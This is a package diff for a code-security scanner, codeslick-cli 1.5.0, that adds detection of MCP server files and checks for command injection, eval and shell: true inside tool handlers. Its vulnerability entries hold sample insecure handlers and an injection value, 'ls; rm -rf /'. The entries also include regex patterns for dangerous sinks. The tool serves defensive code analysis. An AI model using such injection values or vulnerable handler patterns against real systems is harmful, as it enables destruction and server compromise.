codeslick-cli 1.4.2 → 1.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (34) hide show
  1. package/dist/src/lib/analyzers/helpers/mcp-detector.d.ts +22 -0
  2. package/dist/src/lib/analyzers/helpers/mcp-detector.d.ts.map +1 -0
  3. package/dist/src/lib/analyzers/helpers/mcp-detector.js +50 -0
  4. package/dist/src/lib/analyzers/helpers/mcp-detector.js.map +1 -0
  5. package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-exec-checks.d.ts +49 -0
  6. package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-exec-checks.d.ts.map +1 -0
  7. package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-exec-checks.js +336 -0
  8. package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-exec-checks.js.map +1 -0
  9. package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-path-checks.d.ts +53 -0
  10. package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-path-checks.d.ts.map +1 -0
  11. package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-path-checks.js +218 -0
  12. package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-path-checks.js.map +1 -0
  13. package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-protocol-checks.d.ts +51 -0
  14. package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-protocol-checks.d.ts.map +1 -0
  15. package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-protocol-checks.js +164 -0
  16. package/dist/src/lib/analyzers/javascript/security-checks/mcp-security-protocol-checks.js.map +1 -0
  17. package/dist/src/lib/analyzers/javascript/security-checks/mcp-security.d.ts +66 -0
  18. package/dist/src/lib/analyzers/javascript/security-checks/mcp-security.d.ts.map +1 -0
  19. package/dist/src/lib/analyzers/javascript/security-checks/mcp-security.js +52 -0
  20. package/dist/src/lib/analyzers/javascript/security-checks/mcp-security.js.map +1 -0
  21. package/dist/src/lib/analyzers/javascript-analyzer.d.ts.map +1 -1
  22. package/dist/src/lib/analyzers/javascript-analyzer.js +3 -0
  23. package/dist/src/lib/analyzers/javascript-analyzer.js.map +1 -1
  24. package/dist/src/lib/analyzers/python/security-checks/mcp-security.d.ts +26 -0
  25. package/dist/src/lib/analyzers/python/security-checks/mcp-security.d.ts.map +1 -0
  26. package/dist/src/lib/analyzers/python/security-checks/mcp-security.js +270 -0
  27. package/dist/src/lib/analyzers/python/security-checks/mcp-security.js.map +1 -0
  28. package/dist/src/lib/analyzers/python-analyzer.d.ts.map +1 -1
  29. package/dist/src/lib/analyzers/python-analyzer.js +3 -0
  30. package/dist/src/lib/analyzers/python-analyzer.js.map +1 -1
  31. package/dist/src/lib/analyzers/typescript-analyzer.d.ts.map +1 -1
  32. package/dist/src/lib/analyzers/typescript-analyzer.js +5 -0
  33. package/dist/src/lib/analyzers/typescript-analyzer.js.map +1 -1
  34. package/package.json +1 -1
@@ -0,0 +1,22 @@
1
+ /**
2
+ * MCP Server Detection Guard
3
+ *
4
+ * Detects whether a source file is an MCP (Model Context Protocol) server.
5
+ * Detection is content-based (import/decorator patterns), NOT file-extension-based.
6
+ * This prevents false positives from non-MCP code.
7
+ *
8
+ * Used as a guard before MCP-specific security checks run.
9
+ *
10
+ * @module mcp-detector
11
+ */
12
+ /**
13
+ * Returns true if the given source code is an MCP server.
14
+ *
15
+ * Checks both JS/TS and Python signals — the caller does not need to know
16
+ * which language is being analyzed.
17
+ *
18
+ * @param code - Full source code string
19
+ * @returns true if any MCP server signal is detected
20
+ */
21
+ export declare function isMcpServer(code: string): boolean;
22
+ //# sourceMappingURL=mcp-detector.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"mcp-detector.d.ts","sourceRoot":"","sources":["../../../../../../../src/lib/analyzers/helpers/mcp-detector.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AA0BH;;;;;;;;GAQG;AACH,wBAAgB,WAAW,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAGjD"}
@@ -0,0 +1,50 @@
1
+ "use strict";
2
+ /**
3
+ * MCP Server Detection Guard
4
+ *
5
+ * Detects whether a source file is an MCP (Model Context Protocol) server.
6
+ * Detection is content-based (import/decorator patterns), NOT file-extension-based.
7
+ * This prevents false positives from non-MCP code.
8
+ *
9
+ * Used as a guard before MCP-specific security checks run.
10
+ *
11
+ * @module mcp-detector
12
+ */
13
+ Object.defineProperty(exports, "__esModule", { value: true });
14
+ exports.isMcpServer = isMcpServer;
15
+ /**
16
+ * Signals that identify a TypeScript/JavaScript MCP server file.
17
+ * Order: most specific first (SDK imports > API usage > class instantiation).
18
+ */
19
+ const JS_MCP_PATTERNS = [
20
+ /@modelcontextprotocol\/sdk/, // Any import from the SDK package
21
+ /from\s+['"]@modelcontextprotocol\//, // ESM import from SDK
22
+ /require\s*\(\s*['"]@modelcontextprotocol\//, // CJS require from SDK
23
+ /new\s+McpServer\s*\(/, // new McpServer() instantiation
24
+ ];
25
+ /**
26
+ * Signals that identify a Python MCP server file.
27
+ */
28
+ const PY_MCP_PATTERNS = [
29
+ /from\s+mcp\.server\s+import/, // from mcp.server import Server
30
+ /from\s+mcp\s+import\s+FastMCP/, // from mcp import FastMCP
31
+ /import\s+mcp\b/, // import mcp (word boundary prevents mcp_client etc.)
32
+ /@mcp\.tool\s*\(\s*\)/, // @mcp.tool() decorator
33
+ /@server\.call_tool/, // @server.call_tool decorator (any form)
34
+ ];
35
+ const ALL_PATTERNS = [...JS_MCP_PATTERNS, ...PY_MCP_PATTERNS];
36
+ /**
37
+ * Returns true if the given source code is an MCP server.
38
+ *
39
+ * Checks both JS/TS and Python signals — the caller does not need to know
40
+ * which language is being analyzed.
41
+ *
42
+ * @param code - Full source code string
43
+ * @returns true if any MCP server signal is detected
44
+ */
45
+ function isMcpServer(code) {
46
+ if (!code.trim())
47
+ return false;
48
+ return ALL_PATTERNS.some(pattern => pattern.test(code));
49
+ }
50
+ //# sourceMappingURL=mcp-detector.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"mcp-detector.js","sourceRoot":"","sources":["../../../../../../../src/lib/analyzers/helpers/mcp-detector.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;GAUG;;AAmCH,kCAGC;AApCD;;;GAGG;AACH,MAAM,eAAe,GAAa;IAChC,4BAA4B,EAA0B,kCAAkC;IACxF,oCAAoC,EAAkB,sBAAsB;IAC5E,4CAA4C,EAAU,uBAAuB;IAC7E,sBAAsB,EAAgC,gCAAgC;CACvF,CAAC;AAEF;;GAEG;AACH,MAAM,eAAe,GAAa;IAChC,6BAA6B,EAAyB,gCAAgC;IACtF,+BAA+B,EAAuB,0BAA0B;IAChF,gBAAgB,EAAsC,sDAAsD;IAC5G,sBAAsB,EAAgC,wBAAwB;IAC9E,oBAAoB,EAAmC,yCAAyC;CACjG,CAAC;AAEF,MAAM,YAAY,GAAa,CAAC,GAAG,eAAe,EAAE,GAAG,eAAe,CAAC,CAAC;AAExE;;;;;;;;GAQG;AACH,SAAgB,WAAW,CAAC,IAAY;IACtC,IAAI,CAAC,IAAI,CAAC,IAAI,EAAE;QAAE,OAAO,KAAK,CAAC;IAC/B,OAAO,YAAY,CAAC,IAAI,CAAC,OAAO,CAAC,EAAE,CAAC,OAAO,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC;AAC1D,CAAC"}
@@ -0,0 +1,49 @@
1
+ /**
2
+ * MCP Execution Security Checks — JavaScript/TypeScript
3
+ *
4
+ * Contains code-execution and injection checks for MCP tool handlers:
5
+ * MCP-JS-001 — Unvalidated tool parameter to dangerous sink
6
+ * MCP-JS-007 — eval / Function constructor in tool handler
7
+ * MCP-JS-002 — Command injection via shell: true
8
+ *
9
+ * These checks share brace-depth tracking to scope detection to tool handler
10
+ * callbacks only, avoiding false positives on exec() calls outside handlers.
11
+ *
12
+ * @module mcp-security-exec-checks
13
+ */
14
+ import { SecurityVulnerability } from '../../types';
15
+ import { CreateVulnerabilityFn } from './mcp-security';
16
+ /**
17
+ * Scans for tool handler callbacks that pass unvalidated tool arguments directly
18
+ * to dangerous command-execution or filesystem sinks.
19
+ *
20
+ * Algorithm:
21
+ * 1. Walk lines looking for server.tool( entry points.
22
+ * 2. Once inside a handler, track brace depth to know when the handler ends.
23
+ * 3. On each line inside the handler, check if a tool arg access AND a dangerous
24
+ * sink appear together → flag MCP-JS-001.
25
+ *
26
+ * Precision guarantee: exec() calls OUTSIDE a tool handler are not flagged,
27
+ * avoiding the false-positive class described in the design change note.
28
+ */
29
+ export declare function checkUnvalidatedSink(code: string, createVulnerability: CreateVulnerabilityFn): SecurityVulnerability[];
30
+ /**
31
+ * MCP-JS-007: eval / Function constructor in tool handler
32
+ * Severity: CRITICAL (CVSS 9.8) | CWE-95
33
+ *
34
+ * Detects dynamic code evaluation inside MCP tool handler callbacks.
35
+ * Only flags eval/Function/vm calls that appear within the lexical scope
36
+ * of a server.tool() callback (brace-depth tracking).
37
+ */
38
+ export declare function checkEvalInHandler(code: string, createVulnerability: CreateVulnerabilityFn): SecurityVulnerability[];
39
+ /**
40
+ * MCP-JS-002: Command injection via shell: true
41
+ * Severity: CRITICAL (CVSS 9.8) | CWE-78
42
+ *
43
+ * spawn/execFile with { shell: true } turns argument arrays into shell strings —
44
+ * making otherwise safe argument-array APIs injectable. Only flags when both
45
+ * the spawn/execFile call AND shell: true appear on the same line inside a
46
+ * tool handler.
47
+ */
48
+ export declare function checkShellTrue(code: string, createVulnerability: CreateVulnerabilityFn): SecurityVulnerability[];
49
+ //# sourceMappingURL=mcp-security-exec-checks.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"mcp-security-exec-checks.d.ts","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/javascript/security-checks/mcp-security-exec-checks.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;GAYG;AAEH,OAAO,EAAE,qBAAqB,EAAE,MAAM,aAAa,CAAC;AACpD,OAAO,EAAE,qBAAqB,EAAE,MAAM,gBAAgB,CAAC;AA6BvD;;;;;;;;;;;;GAYG;AACH,wBAAgB,oBAAoB,CAClC,IAAI,EAAE,MAAM,EACZ,mBAAmB,EAAE,qBAAqB,GACzC,qBAAqB,EAAE,CAoJzB;AAMD;;;;;;;GAOG;AACH,wBAAgB,kBAAkB,CAChC,IAAI,EAAE,MAAM,EACZ,mBAAmB,EAAE,qBAAqB,GACzC,qBAAqB,EAAE,CA+DzB;AAOD;;;;;;;;GAQG;AACH,wBAAgB,cAAc,CAC5B,IAAI,EAAE,MAAM,EACZ,mBAAmB,EAAE,qBAAqB,GACzC,qBAAqB,EAAE,CA8DzB"}
@@ -0,0 +1,336 @@
1
+ "use strict";
2
+ /**
3
+ * MCP Execution Security Checks — JavaScript/TypeScript
4
+ *
5
+ * Contains code-execution and injection checks for MCP tool handlers:
6
+ * MCP-JS-001 — Unvalidated tool parameter to dangerous sink
7
+ * MCP-JS-007 — eval / Function constructor in tool handler
8
+ * MCP-JS-002 — Command injection via shell: true
9
+ *
10
+ * These checks share brace-depth tracking to scope detection to tool handler
11
+ * callbacks only, avoiding false positives on exec() calls outside handlers.
12
+ *
13
+ * @module mcp-security-exec-checks
14
+ */
15
+ Object.defineProperty(exports, "__esModule", { value: true });
16
+ exports.checkUnvalidatedSink = checkUnvalidatedSink;
17
+ exports.checkEvalInHandler = checkEvalInHandler;
18
+ exports.checkShellTrue = checkShellTrue;
19
+ // ─── Detection patterns ────────────────────────────────────────────────────
20
+ /** Matches the start of a tool handler registration: server.tool( or mcp.tool( */
21
+ const TOOL_HANDLER_START = /(?:server|mcp)\.tool\s*\(/;
22
+ /**
23
+ * Matches the parameter variable name(s) in a tool callback signature.
24
+ * Covers: ({ args }), ({ args, extra }), (params), (input), (request), (req)
25
+ */
26
+ const TOOL_PARAM_NAMES = /\(\s*\{?\s*(args|params|input|request|req)\b/;
27
+ // Note: eval() and new Function() are not included here — they are detected
28
+ // with richer context (vm module variants, handler scope) in checkEvalInHandler() (MCP-JS-007).
29
+ /** Dangerous command-execution sinks */
30
+ const CMD_SINKS = /\b(exec|execSync|spawn|execFile|spawnSync)\s*\(/;
31
+ /** Dangerous filesystem sinks */
32
+ const FS_SINKS = /\bfs\.(writeFile|readFile|unlink|createReadStream|createWriteStream|appendFile)\s*\(/;
33
+ /**
34
+ * Matches direct access to tool argument properties.
35
+ * e.g. args.command, params.arguments[0], input.path
36
+ */
37
+ const TOOL_ARG_ACCESS = /\b(?:args|params|input|request|req)\s*(?:\.|\.arguments\s*\[|\[)/;
38
+ // ─── MCP-JS-001: Unvalidated tool parameter to dangerous sink ─────────────
39
+ /**
40
+ * Scans for tool handler callbacks that pass unvalidated tool arguments directly
41
+ * to dangerous command-execution or filesystem sinks.
42
+ *
43
+ * Algorithm:
44
+ * 1. Walk lines looking for server.tool( entry points.
45
+ * 2. Once inside a handler, track brace depth to know when the handler ends.
46
+ * 3. On each line inside the handler, check if a tool arg access AND a dangerous
47
+ * sink appear together → flag MCP-JS-001.
48
+ *
49
+ * Precision guarantee: exec() calls OUTSIDE a tool handler are not flagged,
50
+ * avoiding the false-positive class described in the design change note.
51
+ */
52
+ function checkUnvalidatedSink(code, createVulnerability) {
53
+ const vulnerabilities = [];
54
+ const lines = code.split('\n');
55
+ let inToolHandler = false;
56
+ let braceDepth = 0;
57
+ // Track how many open-braces appeared on the server.tool( line itself before
58
+ // the callback arrow/function, so we know the starting depth to compare against.
59
+ let handlerStartDepth = 0;
60
+ for (let i = 0; i < lines.length; i++) {
61
+ const line = lines[i];
62
+ const lineNumber = i + 1;
63
+ if (!inToolHandler) {
64
+ // Detect entry into a tool handler
65
+ if (TOOL_HANDLER_START.test(line) && TOOL_PARAM_NAMES.test(line)) {
66
+ inToolHandler = true;
67
+ // Count net brace change on this line to establish the baseline depth
68
+ // the handler's own opening brace will push us above.
69
+ const opens = (line.match(/\{/g) || []).length;
70
+ const closes = (line.match(/\}/g) || []).length;
71
+ braceDepth += opens - closes;
72
+ handlerStartDepth = braceDepth;
73
+ continue;
74
+ }
75
+ // Also handle multi-line: server.tool( on one line, callback with args on next
76
+ if (TOOL_HANDLER_START.test(line)) {
77
+ // Look ahead up to 3 lines for the callback signature
78
+ for (let j = i + 1; j <= Math.min(i + 3, lines.length - 1); j++) {
79
+ if (TOOL_PARAM_NAMES.test(lines[j])) {
80
+ inToolHandler = true;
81
+ // Accumulate brace depth from the tool-start line through the param line
82
+ for (let k = i; k <= j; k++) {
83
+ const o = (lines[k].match(/\{/g) || []).length;
84
+ const c = (lines[k].match(/\}/g) || []).length;
85
+ braceDepth += o - c;
86
+ }
87
+ handlerStartDepth = braceDepth;
88
+ i = j; // advance outer loop past the lookahead
89
+ // The param-signature line (lines[j]) may also contain a sink on
90
+ // the same line (e.g. `async ({ args }) => exec(args.command)`).
91
+ // The outer loop will `continue` after this block, skipping the
92
+ // inToolHandler branch for this line — so we check it right here.
93
+ {
94
+ const paramLine = lines[j];
95
+ const hasArgAccess = TOOL_ARG_ACCESS.test(paramLine);
96
+ const hasCmdSink = CMD_SINKS.test(paramLine);
97
+ const hasFsSink = FS_SINKS.test(paramLine);
98
+ if (hasArgAccess && (hasCmdSink || hasFsSink)) {
99
+ const sinkType = hasCmdSink ? 'command execution' : 'filesystem';
100
+ vulnerabilities.push(createVulnerability({
101
+ category: 'MCP-JS-001',
102
+ severity: 'CRITICAL',
103
+ confidence: 'HIGH',
104
+ message: `Unvalidated tool parameter passed directly to ${sinkType} sink`,
105
+ line: j + 1,
106
+ suggestion: 'Validate and sanitize tool arguments before passing to system calls. Use allowlists for commands and paths.',
107
+ owasp: 'A03:2021 - Injection',
108
+ cwe: 'CWE-78 OS Command Injection / CWE-22 Path Traversal',
109
+ pciDss: 'PCI-DSS 6.3.1',
110
+ attackVector: {
111
+ description: 'MCP tool arguments arrive from the AI model or user and must be treated as untrusted. Passing them directly to exec(), spawn(), or filesystem operations enables command injection and path traversal attacks.',
112
+ exploitExample: `server.tool('run', schema, async ({ args }) => exec(args.command));`,
113
+ realWorldImpact: [
114
+ 'Remote code execution via command injection',
115
+ 'Arbitrary file read/write via path traversal',
116
+ 'Data exfiltration through crafted AI prompts',
117
+ 'Server compromise from malicious tool arguments'
118
+ ]
119
+ },
120
+ remediation: {
121
+ before: `server.tool('run', schema, async ({ args }) => exec(args.command));`,
122
+ after: `const ALLOWED_COMMANDS = ['ls', 'pwd'];\nserver.tool('run', schema, async ({ args }) => {\n if (!ALLOWED_COMMANDS.includes(args.command)) throw new Error('Disallowed command');\n exec(args.command);\n});`,
123
+ explanation: 'Apply input validation with strict allowlists before passing tool parameters to any system call.'
124
+ }
125
+ }));
126
+ }
127
+ }
128
+ break;
129
+ }
130
+ }
131
+ if (!inToolHandler) {
132
+ // tool( found but no matching param pattern — update brace depth and continue
133
+ const opens = (line.match(/\{/g) || []).length;
134
+ const closes = (line.match(/\}/g) || []).length;
135
+ braceDepth += opens - closes;
136
+ }
137
+ continue;
138
+ }
139
+ // Outside handler — still track brace depth for correctness
140
+ const opens = (line.match(/\{/g) || []).length;
141
+ const closes = (line.match(/\}/g) || []).length;
142
+ braceDepth += opens - closes;
143
+ }
144
+ else {
145
+ // Inside the tool handler
146
+ const opens = (line.match(/\{/g) || []).length;
147
+ const closes = (line.match(/\}/g) || []).length;
148
+ braceDepth += opens - closes;
149
+ // Exit when we've closed back to the depth before the handler's opening brace
150
+ if (braceDepth < handlerStartDepth) {
151
+ inToolHandler = false;
152
+ braceDepth = Math.max(0, braceDepth);
153
+ continue;
154
+ }
155
+ // Check: tool arg access flowing into a dangerous sink on the same line
156
+ const hasArgAccess = TOOL_ARG_ACCESS.test(line);
157
+ const hasCmdSink = CMD_SINKS.test(line);
158
+ const hasFsSink = FS_SINKS.test(line);
159
+ if (hasArgAccess && (hasCmdSink || hasFsSink)) {
160
+ const sinkType = hasCmdSink ? 'command execution' : 'filesystem';
161
+ // Use object-style overload to guarantee explicit CVSS 9.1 / CRITICAL severity.
162
+ // The legacy positional path derives severity from calculateSeverityScore() which
163
+ // does not know about MCP-JS-001 and would default to 'medium'.
164
+ vulnerabilities.push(createVulnerability({
165
+ category: 'MCP-JS-001',
166
+ severity: 'CRITICAL',
167
+ confidence: 'HIGH',
168
+ message: `Unvalidated tool parameter passed directly to ${sinkType} sink`,
169
+ line: lineNumber,
170
+ suggestion: 'Validate and sanitize tool arguments before passing to system calls. Use allowlists for commands and paths.',
171
+ owasp: 'A03:2021 - Injection',
172
+ cwe: 'CWE-78 OS Command Injection / CWE-22 Path Traversal',
173
+ pciDss: 'PCI-DSS 6.3.1',
174
+ attackVector: {
175
+ description: 'MCP tool arguments arrive from the AI model or user and must be treated as untrusted. Passing them directly to exec(), spawn(), or filesystem operations enables command injection and path traversal attacks.',
176
+ exploitExample: `server.tool('run', schema, async ({ args }) => {\n exec(args.command); // args.command is attacker-controlled\n});`,
177
+ realWorldImpact: [
178
+ 'Remote code execution via command injection',
179
+ 'Arbitrary file read/write via path traversal',
180
+ 'Data exfiltration through crafted AI prompts',
181
+ 'Server compromise from malicious tool arguments'
182
+ ]
183
+ },
184
+ remediation: {
185
+ before: `server.tool('run', schema, async ({ args }) => {\n exec(args.command);\n});`,
186
+ after: `const ALLOWED_COMMANDS = ['ls', 'pwd'];\nserver.tool('run', schema, async ({ args }) => {\n if (!ALLOWED_COMMANDS.includes(args.command)) throw new Error('Disallowed command');\n exec(args.command);\n});`,
187
+ explanation: 'Apply input validation with strict allowlists before passing tool parameters to any system call. For filesystem operations, resolve the final path and verify it stays within an allowed directory boundary.'
188
+ }
189
+ }));
190
+ }
191
+ }
192
+ }
193
+ return vulnerabilities;
194
+ }
195
+ // ─── MCP-JS-007 ──────────────────────────────────────────────────────────────
196
+ const EVAL_SINKS = /\b(eval\s*\(|new\s+Function\s*\(|vm\.runInThisContext\s*\(|vm\.runInNewContext\s*\()/;
197
+ /**
198
+ * MCP-JS-007: eval / Function constructor in tool handler
199
+ * Severity: CRITICAL (CVSS 9.8) | CWE-95
200
+ *
201
+ * Detects dynamic code evaluation inside MCP tool handler callbacks.
202
+ * Only flags eval/Function/vm calls that appear within the lexical scope
203
+ * of a server.tool() callback (brace-depth tracking).
204
+ */
205
+ function checkEvalInHandler(code, createVulnerability) {
206
+ const vulnerabilities = [];
207
+ const lines = code.split('\n');
208
+ let inToolHandler = false;
209
+ let braceDepth = 0;
210
+ for (let i = 0; i < lines.length; i++) {
211
+ const line = lines[i];
212
+ const lineNumber = i + 1;
213
+ const trimmed = line.trim();
214
+ if (!inToolHandler) {
215
+ if (TOOL_HANDLER_START.test(line)) {
216
+ inToolHandler = true;
217
+ braceDepth = 0;
218
+ }
219
+ }
220
+ if (inToolHandler) {
221
+ for (const ch of line) {
222
+ if (ch === '{')
223
+ braceDepth++;
224
+ if (ch === '}') {
225
+ braceDepth--;
226
+ if (braceDepth < 0) {
227
+ inToolHandler = false;
228
+ braceDepth = 0;
229
+ break;
230
+ }
231
+ }
232
+ }
233
+ if (inToolHandler && EVAL_SINKS.test(trimmed)) {
234
+ vulnerabilities.push(createVulnerability({
235
+ category: 'MCP-JS-007',
236
+ severity: 'CRITICAL',
237
+ confidence: 'HIGH',
238
+ message: 'Dynamic code execution (eval/Function/vm) inside MCP tool handler',
239
+ line: lineNumber,
240
+ suggestion: 'Never evaluate code strings from tool parameters. Refactor to use predefined logic or a sandboxed interpreter.',
241
+ owasp: 'A03:2021 - Injection',
242
+ cwe: 'CWE-95 Improper Neutralization of Directives in Eval',
243
+ pciDss: 'PCI-DSS 6.3.1',
244
+ attackVector: {
245
+ description: 'A tool handler that calls eval() or new Function() with any input creates a code injection vulnerability. Any string reaching eval() becomes executable code within the process context.',
246
+ exploitExample: `server.tool('run_code', schema, async ({ args }) => { eval(args.code); })`,
247
+ realWorldImpact: [
248
+ 'Arbitrary code execution',
249
+ 'Full system compromise',
250
+ 'Data exfiltration',
251
+ 'Privilege escalation'
252
+ ]
253
+ },
254
+ remediation: {
255
+ before: `server.tool('run_code', schema, async ({ args }) => { eval(args.code); });`,
256
+ after: `// Redesign: never evaluate dynamic code.\n// Use a safe interpreter or predefined operations.\nconst ALLOWED_OPS = { add: (a, b) => a + b };\nserver.tool('calc', schema, async ({ args }) => ALLOWED_OPS[args.op](args.a, args.b));`,
257
+ explanation: 'Remove eval/Function/vm from tool handlers entirely. If code evaluation is required, use a sandboxed vm with strict resource limits and no network access.'
258
+ }
259
+ }));
260
+ }
261
+ }
262
+ }
263
+ return vulnerabilities;
264
+ }
265
+ // ─── MCP-JS-002 ──────────────────────────────────────────────────────────────
266
+ const SHELL_TRUE_PATTERN = /\bshell\s*:\s*true\b/;
267
+ const SPAWN_PATTERN = /\b(spawn|execFile|spawnSync)\s*\(/;
268
+ /**
269
+ * MCP-JS-002: Command injection via shell: true
270
+ * Severity: CRITICAL (CVSS 9.8) | CWE-78
271
+ *
272
+ * spawn/execFile with { shell: true } turns argument arrays into shell strings —
273
+ * making otherwise safe argument-array APIs injectable. Only flags when both
274
+ * the spawn/execFile call AND shell: true appear on the same line inside a
275
+ * tool handler.
276
+ */
277
+ function checkShellTrue(code, createVulnerability) {
278
+ const vulnerabilities = [];
279
+ const lines = code.split('\n');
280
+ let inToolHandler = false;
281
+ let braceDepth = 0;
282
+ for (let i = 0; i < lines.length; i++) {
283
+ const line = lines[i];
284
+ const lineNumber = i + 1;
285
+ const trimmed = line.trim();
286
+ if (!inToolHandler) {
287
+ if (TOOL_HANDLER_START.test(line)) {
288
+ inToolHandler = true;
289
+ braceDepth = 0;
290
+ }
291
+ }
292
+ if (inToolHandler) {
293
+ for (const ch of line) {
294
+ if (ch === '{')
295
+ braceDepth++;
296
+ if (ch === '}') {
297
+ braceDepth--;
298
+ if (braceDepth < 0) {
299
+ inToolHandler = false;
300
+ braceDepth = 0;
301
+ break;
302
+ }
303
+ }
304
+ }
305
+ if (inToolHandler && SPAWN_PATTERN.test(trimmed) && SHELL_TRUE_PATTERN.test(trimmed)) {
306
+ vulnerabilities.push(createVulnerability({
307
+ category: 'MCP-JS-002',
308
+ severity: 'CRITICAL',
309
+ confidence: 'HIGH',
310
+ message: 'spawn/execFile with shell: true inside MCP tool handler enables command injection',
311
+ line: lineNumber,
312
+ suggestion: 'Remove shell: true. Pass arguments as an array to spawn() without shell mode.',
313
+ owasp: 'A03:2021 - Injection',
314
+ cwe: 'CWE-78 OS Command Injection',
315
+ pciDss: 'PCI-DSS 6.3.1',
316
+ attackVector: {
317
+ description: 'The shell: true option causes spawn/execFile to join arguments into a shell command string. This turns a safe API into an injection vector — any argument containing shell metacharacters will be interpreted by the shell.',
318
+ exploitExample: `spawn(args.cmd, args.args, { shell: true }) // args.cmd = "ls; rm -rf /"`,
319
+ realWorldImpact: [
320
+ 'Command injection via shell metacharacters',
321
+ 'Arbitrary command execution',
322
+ 'Data exfiltration'
323
+ ]
324
+ },
325
+ remediation: {
326
+ before: `spawn(cmd, args, { shell: true })`,
327
+ after: `spawn(cmd, args, { shell: false }) // or omit shell option entirely`,
328
+ explanation: 'Always pass command arguments as an array to spawn(). Never use shell: true with user-supplied input.'
329
+ }
330
+ }));
331
+ }
332
+ }
333
+ }
334
+ return vulnerabilities;
335
+ }
336
+ //# sourceMappingURL=mcp-security-exec-checks.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"mcp-security-exec-checks.js","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/javascript/security-checks/mcp-security-exec-checks.ts"],"names":[],"mappings":"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